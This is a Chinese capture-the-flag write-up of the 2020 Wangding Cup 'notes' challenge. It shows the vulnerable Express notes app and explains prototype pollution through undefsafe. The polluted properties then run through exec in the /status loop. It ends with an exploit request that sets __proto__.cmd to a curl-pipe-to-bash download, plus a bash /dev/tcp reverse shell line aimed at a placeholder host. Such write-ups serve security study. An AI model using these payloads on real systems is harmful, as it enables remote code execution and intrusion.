[网鼎杯 2020 青龙组]notes(Undefsafe原型链污染)

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

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简单分析一下

大概就几个功能，添加笔记、修改笔记、删除笔记、笔记列表

然后注意到下面有个刷新笔记的页面/status，那里有这么一行可以执行代码

exec(commands[index], {shell:'/bin/bash'}

这里了解到，这个 for (let index in commands) 不只是遍历 commands 表，还会去回溯遍历原型链上的属性

----------------文档 for…in-------------------

for…in 循环只遍历可枚举属性（包括它的原型链上的可枚举属性）
像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性，
例如 String 的 indexOf() 方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性，以及对象从其构造函数原型中继承的属性（更接近原型链中对象的属性覆盖原型属性）

整理思路

所以我们这里可以污染原型链的属性，然后在/status处遍历原型链中我们污染的属性去执行恶意代码

__proto__ 返回原型链属性

这里直接弹个shell出来

POST /edit_note

id=__proto__.cmd&author=curl http://xxx.xxx.xxx.xxx/shell.txt|bash&raw=paidx0

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1
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